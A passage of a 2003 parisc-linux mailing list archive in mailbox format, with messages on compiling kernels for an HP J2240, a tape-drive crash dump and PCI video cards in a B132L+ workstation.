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

------_=_NextPart_000_01C2CB92.F332ED60--


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 10:37:35 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20030203153735.GE1046@hadron>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron> <20030203101959.GA28668@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622183 21286 80.91.229.3 (22 Nov 2014 02:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:43 +0000 (UTC)
To: Michael Wood <mwood@its.uct.ac.za>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 08:38:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 687104829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 08:38:02 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h13FbgT5023383;
	Mon, 3 Feb 2003 10:37:42 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h13FbZA0023382;
	Mon, 3 Feb 2003 10:37:35 -0500
Content-Disposition: inline
In-Reply-To: <20030203101959.GA28668@marmite.its.uct.ac.za>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17611

Yes, the boot partition is < 2GB. In fact here is the partion table as 
reported from fdisk. 

Disk /dev/sda: 9100 MB, 9100044288 bytes
64 heads, 32 sectors/track, 8678 cylinders
Units = cylinders of 2048 * 512 = 1048576 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1   *         1        29     29680   f0  Linux/PA-RISC boot
/dev/sda2            30       267    243712   83  Linux
/dev/sda3           268      1221    976896   82  Linux swap
/dev/sda4          1222      5989   4882432    5  Extended
/dev/sda5          1222      3128   1952752   83  Linux
/dev/sda6          3129      5989   2929648   83  Linux

I will also add this info to my parisc page. I am going to start ripping
things out of the kernel a bit later today. One thing I will admit
ignorance about is the F0 partition. The debian install got vmlinux32 to
live in there but I haven't gotten any other kernels to live in there.
Not that that really matters since once can boot off of a kernel that
lives in an ext2 fs as long as it is within the first 2GB. Yawn, just
waking up ... 

In another life Michael Wood wrote:

> On Mon, Feb 03, 2003 at 01:43:28AM -0500, Aaron St. Pierre wrote:
> [snip]
> > As far as the palo message, i only started noticing it when I went to
> > v1.2 of palo. One thing I should note, when I set up / i made it ext3,
> > boot is off of / and not its own fs so when i realized what i did I
> [snip]
> 
> Your boot partition (/) is < 2GB, right?
> 
> -- 
> Michael Wood <mwood@its.uct.ac.za>

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Have at you!


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Yet another tar-triggered problem?
Date: Mon, 3 Feb 2003 17:44:50 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20030203154450.GO7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622183 21290 80.91.229.3 (22 Nov 2014 02:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 08:44:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 764484829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 08:44:53 -0700 (MST)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h13Fhld17053
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Feb 2003 17:43:47 +0200 (EET)
Original-Received: from esebh001.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T60313316b1ac158f2578c@esvir05nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 3 Feb 2003 17:44:52 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Mon, 3 Feb 2003 17:44:51 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h13FipK22968
	for parisc-linux@lists.parisc-linux.org; Mon, 3 Feb 2003 17:44:51 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 03 Feb 2003 15:44:51.0998 (UTC) FILETIME=[30DD63E0:01C2CB9B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17612

I don't think this is the old tar problem this time ... well, I guess it 
could still be.

I hooked an external HP 35470A tape drive (DDS1 no compression) to the 
C240, loaded a tape, wondering if it had been written on a 35470A or a 
35480A (DDS1 / DCLZ) and, if it should have been the latter, if 
compression would have been turned on. I thought "oh well ... guess it'll 
inform me if it doesn't understand the format". 

Typed a "tar tvf /dev/st0", waited for a while and saw nothing so I 
though "OK, guess it doesn't find anything readable" and hit ^C a couple 
of times and pushed the eject button on the tape drive. Then I went away 
for a couple of minutes and when I came back ... the 70096's scrollback 
was full of something that looks like a hex dump, and then a HPMC at the 
end.

Now, is this a "feature" of the st driver or the tape drive, a bug, a 
broken 35470A, or something entirely different? I don't have too many 
35470As around for testing, most of them are still attached to the old 
servers... but I don't remember getting this on HP-UX, ever.

Kernel version was (again) the old 2.4.18-32, as I can't seem to get KDE 
to work properly with the newer kernels... ;-) but at least now I have 
the builtin ethernet at 100HD. And I was going to reboot anyway, due to 
repartitioning the sdb.

Is anyone interested in the hex dump? That's probably a kernel panic or 
some such, right? Everything before "ad40 ........ ........ ........" has 
scrolled out of the ring buffer but if someone's interested in that I'm 
not rebooting the box yet. I'd have to type it in by hand too... the 
console is a genuine HP 70096 terminal, in native mode. 

That'd mean I can't get the PIM stuff yet either, though. Um ... oh well, 
if someone's interested, I can always get that later.


The HPMC is as follows:
		Code=1 regs=102f3080 (Addr=00000000)
	
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  00000000 10300010 1010d4e8 ffffffff
r04-07  0000000f 0000029b 0000029b 103b2810
r08-11  0000000f 0000004d 0004000e 1033d060
r12-15  00000000 001ffff8 000000fd f0100000
r16-19  1039c5c0 f00001f8 f00001f0 f2000064
r20-23  0000000e 10f2c260 1024a2ac 10302810
r24-27  0001fd40 0000fd40 10f2c260 102f0010
r28-31  7f7fdee7 00000680 1039c9c0 1010d4e8
sr0-3   00000000 00000005 00000000 00000005
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1024a2d0 1024a2d4
 IIR: 00141860    ISR: 9227ffc8  IOR: 00000064
 CPU:        0   CR30: 1039c000 CR31: 103a0000
 ORIG_R28: 00000000


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 09:53:21 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20030203165321.GA17807@dsl2.external.hp.com>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622183 21295 80.91.229.3 (22 Nov 2014 02:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 09:53:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0817F4829; Mon,  3 Feb 2003 09:53:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203064328.GD1046@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17613

On Mon, Feb 03, 2003 at 01:43:28AM -0500, Aaron St. Pierre wrote:
> Anyway I got the the TOC information for both processors after
> I tried to boot my kernel. It is
> all on that page ( http://hadron.dyndns.org/parisc/ ) 

IIA Offset                   = 0x00000000f0080570

that's not a kernel address. Looks like a PDC call died. :^(

> I also added a link to the firmware. I am running 2.0 of the firmware
> and according to hp the most recent is 2.1 or : 
> 
> Patch Name: /firmware_patches/hp/cpu/PF_CJ224021
> Description: HP 9000 Model J2240 firmware 2.1 patch
> Date       : 00/10/06

hmm...I'd stick with 2.0 for now.

> I will start popping stuff out of the kernel, although I am sure I took
> out all of the stuff wrt graphics. Another try for persistance sake wont
> hurt :) 

You still have STI drivers enabled and CONFIG_FB enabled.
I'd start with those and then remove others one-by-one.

> As far as the palo message, i only started noticing it when I went to
> v1.2 of palo. One thing I should note, when I set up / i made it ext3,
> boot is off of / and not its own fs so when i realized what i did I just
> changed fstab accordingly so it would mount as ext2, although that
> couldn't be the problem either since it is loading the debian kernels.

/ can be ext3. Palo doesn't care since ext2/ext3 are compatible.
What's important is /boot/vmlinux is < 2GB on disk.

grant


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another tar-triggered problem?
Date: Mon, 3 Feb 2003 10:30:57 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20030203173057.GC17807@dsl2.external.hp.com>
References: <20030203154450.GO7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622183 21297 80.91.229.3 (22 Nov 2014 02:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 10:30:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0E8024829; Mon,  3 Feb 2003 10:30:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203154450.GO7503@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17614

On Mon, Feb 03, 2003 at 05:44:50PM +0200, Nahkola Mikko wrote:
> ... the 70096's scrollback was full of something that looks like
> a hex dump, and then a HPMC at the end.

Likely a problem with st or scsi driver.
Not many people are using tape drives so we don't get much
feedback on that.

> Is anyone interested in the hex dump?

Well, TBH, I'd be more interested in one from a 2.4.20 kernel.
Too much code has changed since 2.4.18.

> 
> The HPMC is as follows:
> 		Code=1 regs=102f3080 (Addr=00000000)
> 	
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001110 Not tainted
> r00-03  00000000 10300010 1010d4e8 ffffffff
...
> IASQ: 00000000 00000000 IAOQ: 1024a2d0 1024a2d4

Can you look up (IOAQ) 1024a2d0 and (GR02) 1010d4e8
in the matching System.map?
I'm curious where it died.
Though with HPMCs, it's likely to be a bug in some other code path.

thanks,
grant


From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: baddy@free.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L+ and PCI cards
Date: Mon, 03 Feb 2003 18:35:23 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <yam9164.1199.146359312@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622184 21299 80.91.229.3 (22 Nov 2014 02:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 10:34:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-3m.club-internet.fr (relay-3m.club-internet.fr [194.158.104.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 863CF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 10:34:45 -0700 (MST)
Original-Received: from club-internet.fr (f07a-5-86.d1.club-internet.fr [212.194.148.86])
	by relay-3m.club-internet.fr (Postfix) with SMTP id CBF10E1A3
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 18:35:30 +0100 (CET)
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17615

Hi,

I've got a B132L+ with which I am trying to have a 16 ou 24 bits (better
than the original 8-bits framebuffer mode) : I've inserted a S3Trio64V2/DX
based card but the B132L+ lock at boot.

I've inserted a NE-2000 PCI clone and it works perfectly so I think it do
not come from the PCI bus, but the video card itself.

So is there a way to put a PCI video card in a B132L+ and is there
somewhere a list of PCI cards that are know to work ?

-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 18:38:11 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <3E35CAE7000017DD@ocpmta7.freegates.net>
References: <20030203165321.GA17807@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622184 21303 80.91.229.3 (22 Nov 2014 02:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com, "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 10:38:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 583DC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 10:38:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18fkXu-0002qY-00; Mon, 03 Feb 2003 18:38:14 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 3 Feb 2003 18:38:11 +0100
In-Reply-To: <20030203165321.GA17807@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17616

Aaron,

Just A comment on your web page 'Comments':
warning concerning 'mathemu' code are well known annoying but armless.

I try to remove them but this broken to much original hp code :(

Now, the stupid question: do you try to boot from a serial console?

I also would like to know if you really have an ide cdrom on your J?

If yes, could you try to unplug it (pw supply and data flat cable) to reboot
with your new kernel?

hth,
    Joel



>-- Original Message --
>To: "Aaron St. Pierre" <asp@ungod.com>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] kernel compile
>From: grundler@dsl2.external.hp.com (Grant Grundler)
>Date: Mon, 3 Feb 2003 09:53:21 -0700
>
>
>On Mon, Feb 03, 2003 at 01:43:28AM -0500, Aaron St. Pierre wrote:
>> Anyway I got the the TOC information for both processors after
>> I tried to boot my kernel. It is
>> all on that page ( http://hadron.dyndns.org/parisc/ ) 
>
>IIA Offset                   = 0x00000000f0080570
>
>that's not a kernel address. Looks like a PDC call died. :^(
>
>> I also added a link to the firmware. I am running 2.0 of the firmware
>> and according to hp the most recent is 2.1 or : 
>> 
>> Patch Name: /firmware_patches/hp/cpu/PF_CJ224021
>> Description: HP 9000 Model J2240 firmware 2.1 patch
>> Date       : 00/10/06
>
>hmm...I'd stick with 2.0 for now.
>
>> I will start popping stuff out of the kernel, although I am sure I took
>> out all of the stuff wrt graphics. Another try for persistance sake wont
>> hurt :) 
>
>You still have STI drivers enabled and CONFIG_FB enabled.
>I'd start with those and then remove others one-by-one.
>
>> As far as the palo message, i only started noticing it when I went to
>> v1.2 of palo. One thing I should note, when I set up / i made it ext3,
>> boot is off of / and not its own fs so when i realized what i did I just
>> changed fstab accordingly so it would mount as ext2, although that
>> couldn't be the problem either since it is loading the debian kernels.
>
>/ can be ext3. Palo doesn't care since ext2/ext3 are compatible.
>What's important is /boot/vmlinux is < 2GB on disk.
>
>grant
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ and PCI cards
Date: 03 Feb 2003 12:58:22 -0500
Organization: mkp.net
Lines: 21
Approved: news@gmane.org
Message-ID: <yq1smv5p7pd.fsf@austin.mkp.net>
References: <yam9164.1199.146359312@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622184 21305 80.91.229.3 (22 Nov 2014 02:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: baddy@free.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 10:58:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
